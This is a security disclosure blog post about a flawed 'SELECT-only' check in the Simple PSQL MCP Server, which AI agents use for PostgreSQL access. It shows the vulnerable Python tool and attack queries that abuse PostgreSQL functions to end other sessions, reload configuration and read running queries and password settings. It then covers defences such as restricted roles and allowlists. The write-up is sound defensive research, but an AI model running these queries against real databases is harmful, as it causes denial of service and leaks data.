~ 6 min read

How to Bypass Access Control in PostgreSQL in Simple PSQL MCP Server for SQL Injection

share on
A critical access control vulnerability in the Simple PSQL MCP Server allows attackers to bypass read-only restrictions through PostgreSQL function abuse. Learn how naive SQL filtering creates serious security risks.

The Model Context Protocol (MCP) ecosystem has rapidly expanded beyond simple file operations and command-line tools to include sophisticated database integrations for agentic workflows an AI IDE like Cursor, Windsurf and others. As AI agents become more capable of managing complex data workflows, MCP Servers that provide database access have become increasingly popular among developers building AI-powered applications. Great, except…

This expansion of MCP Servers (what I call these days “MCP Apps” and also known as “integrations”) into database connectivity introduces significant new attack surfaces that many developers haven’t fully considered. While previous MCP Server vulnerabilities have primarily focused on command injection attacks in Node.js implementations, I would like to share here a new class of security issues is emerging around improper access control in database-connected MCP Servers. This isn’t your typical SQL injection vulnerability, but it’s in close proximity.

The Simple PSQL MCP Server demonstrates this example of MCP security challenges. Unlike the command injection vulnerabilities we’ve seen in tools like the GitHub Kanban MCP Server and iOS Simulator MCP Server, this Python-based MCP Server implementation has flawed query read-only controls that would allow SQL injection, resulting in denial of service and other SQL bypasses.

The vulnerability demonstrates a critical lesson for MCP Server developers: security cannot be achieved through naive input filtering, especially when dealing with powerful systems like PostgreSQL that expose extensive functionality through seemingly innocuous SELECT queries.

DISCLAIMER AND DISCLOSURE: I have reached out via responsible security disclosure guidelines to the maintainer of simple-psql-mcp to report this security issue and they have acknowledged they are aware and that the README has a Security section that clearly communicates the dangers of SQL injection in the project’s code and that it is meant to be an educational project meant as a getting-started template creation only.

The Dangerous Assumption of “Read-Only” Database Access

Database “read-only” access is often misunderstood by developers who assume that restricting users to SELECT statements automatically prevents any harmful operations and side effects such as database queries in the form of DELETE or INSERT that modify the database. This assumption underlies the flawed security model implemented in the Simple PSQL MCP Server.

The server attempts to enforce read-only access through a basic string check that verifies queries start with “SELECT”:

@mcp.tool()
async def execute_query(
query: str = Field(description="SQL query to execute (SELECT only)"),
limit: Optional[int] = Field(default=DEFAULT_QUERY_LIMIT, description="Maximum number of rows to return"),
ctx: Context = None
) -> str:
"""Execute a read-only SQL query against the database"""
# Validate query - simple check for read-only
query = query.strip()
if not query.lower().startswith("select"):
return "Error: Only SELECT queries are allowed for security reasons."
try:
pool = ctx.request_context.lifespan_context.pool
async with pool.acquire() as conn:
result = await conn.fetch(query)

This approach fundamentally misunderstands how modern database systems work. PostgreSQL, like many advanced database systems, provides extensive functionality through functions that can be called within SELECT statements, making the “SELECT-only” restriction largely meaningless from a security perspective.

PostgreSQL Functions: The Hidden Attack Surface

PostgreSQL exposes many built-in functions that can perform administrative operations, manipulate data, and affect system behavior. Many of these functions are designed for legitimate administrative purposes but become dangerous when accessible to untrusted users.

Let’s see one example where PostgreSQL provides an administrative function that can cause serious harm when invoked through SELECT queries:

-- Terminate active database connections per process ID
SELECT pg_terminate_backend(pid);
-- Cancel running queries
SELECT pg_cancel_backend(pid) FROM pg_stat_activity WHERE query LIKE '%expensive_operation%';
-- Force database checkpoint (can cause performance issues)
SELECT pg_start_backup('malicious_backup', true);
-- Reload configuration (can disrupt service)
SELECT pg_reload_conf();

Information Disclosure Through System Views

Beyond administrative functions, PostgreSQL provides extensive system views that can leak sensitive information:

-- Expose all running queries (potential data leakage)
SELECT pid, usename, state, query FROM pg_stat_activity;
-- Show database configuration parameters
SELECT name, setting FROM pg_settings WHERE name LIKE '%password%';
-- List all database schemas and tables
SELECT schemaname, tablename FROM pg_tables;

Real-World Exploitation Scenario

The vulnerability can be exploited through a multi-step attack that demonstrates both denial of service and information disclosure capabilities:

Step 1: Initiate a Resource-Intensive Operation

Simulate a long-running operation that would be a legitimate query in a read-only context:

SELECT pg_sleep(300); -- Sleep for 5 minutes

Step 2: Information Gathering

Now, can we find that long running query?

-- Gather intelligence about database activity
SELECT pid, usename, state, query, backend_start, state_change
FROM pg_stat_activity
WHERE state = 'active';

This query reveals:

  • Active process IDs (PIDs)
  • Usernames of connected users
  • Current query states
  • Actual SQL queries being executed (information disclosure)
  • Connection timestamps

Step 3: Denial of Service Attack

From the previous step, we can grab the PID of the long-running query and terminate it:

-- Terminate the long-running process
SELECT pg_terminate_backend(12345); -- Replace with actual PID from step 2

Step 4: Escalation and Persistence

-- Attempt to disrupt multiple connections
SELECT pg_terminate_backend(pid)
FROM pg_stat_activity
WHERE usename != 'admin' AND state = 'active';

Python MCP Server Security Considerations

This vulnerability highlights unique security challenges in Python-based MCP Server implementations compared to the Node.js servers I’ve examined previously (mentioned and linked at the top of this article). Python’s strong typing and mature database libraries can provide good security foundations, but they also create different attack surfaces:

Python database drivers like asyncpg (commonly used with PostgreSQL) provide parameterized queries by default, which helps prevent SQL injection. However, they don’t provide semantic analysis of SQL queries, meaning they can’t distinguish between “safe” and “dangerous” SELECT statements.

Implementing Proper Database Access Control

Effective database security for MCP Servers requires a multi-layered approach that goes far beyond simple string filtering:

1. Database-Level Permissions

The most effective protection comes from proper database user permissions:

-- Create a restricted user for MCP Server connections
CREATE USER mcp_readonly WITH PASSWORD 'secure_password';
-- Grant only SELECT permissions on specific tables
GRANT SELECT ON public.users TO mcp_readonly;
GRANT SELECT ON public.products TO mcp_readonly;
-- Explicitly revoke dangerous permissions
REVOKE ALL ON SCHEMA pg_catalog FROM mcp_readonly;
REVOKE EXECUTE ON ALL FUNCTIONS IN SCHEMA pg_catalog FROM mcp_readonly;

2. Query Allowlist

Implement a query allowlist that defines safe queries explicitly:

ALLOWED_QUERIES = {
"get_users": "SELECT id, name FROM users WHERE active = true",
"get_products": "SELECT id, name, price FROM products WHERE available = true"
}

Summary on MCP Server Security

MCP Servers exist at critical trust boundaries between AI agents and sensitive systems. Prior research has called it out as the “lethal trifecta”. Developers must carefully consider what capabilities they expose as part of the tools and how those capabilities can be abused.

The emergence of database-connected MCP Servers like the Simple PSQL implementation signals a maturity of the MCP ecosystem but also introduces more complex security challenges, and risks, especially as developers may not fully grasp security controls. As a reference for future developers, the “SELECT-only” approach represents a fundamental misunderstanding of database security that can have serious consequences in production environments, and MCP Servers developers should take heed of this lesson.


For comprehensive guidance on secure database programming and access control implementation, explore my resources at Node.js Security and follow my security research at lirantal.com.


References for prior MCP Servers security disclosures:

  1. GitHub Kanban MCP Server Command Injection Advisory
  2. iOS Simulator MCP Server Command Injection Advisory
  3. Node.js Secure Coding: Command Injection Defense
  4. PostgreSQL Security Documentation

Node.js Security Newsletter

Subscribe to get everything in and around the Node.js security ecosystem, direct to your inbox.

    JavaScript & web security insights, latest security vulnerabilities, hands-on secure code insights, npm ecosystem incidents, Node.js runtime feature updates, Bun and Deno runtime updates, secure coding best practices, malware, malicious packages, and more.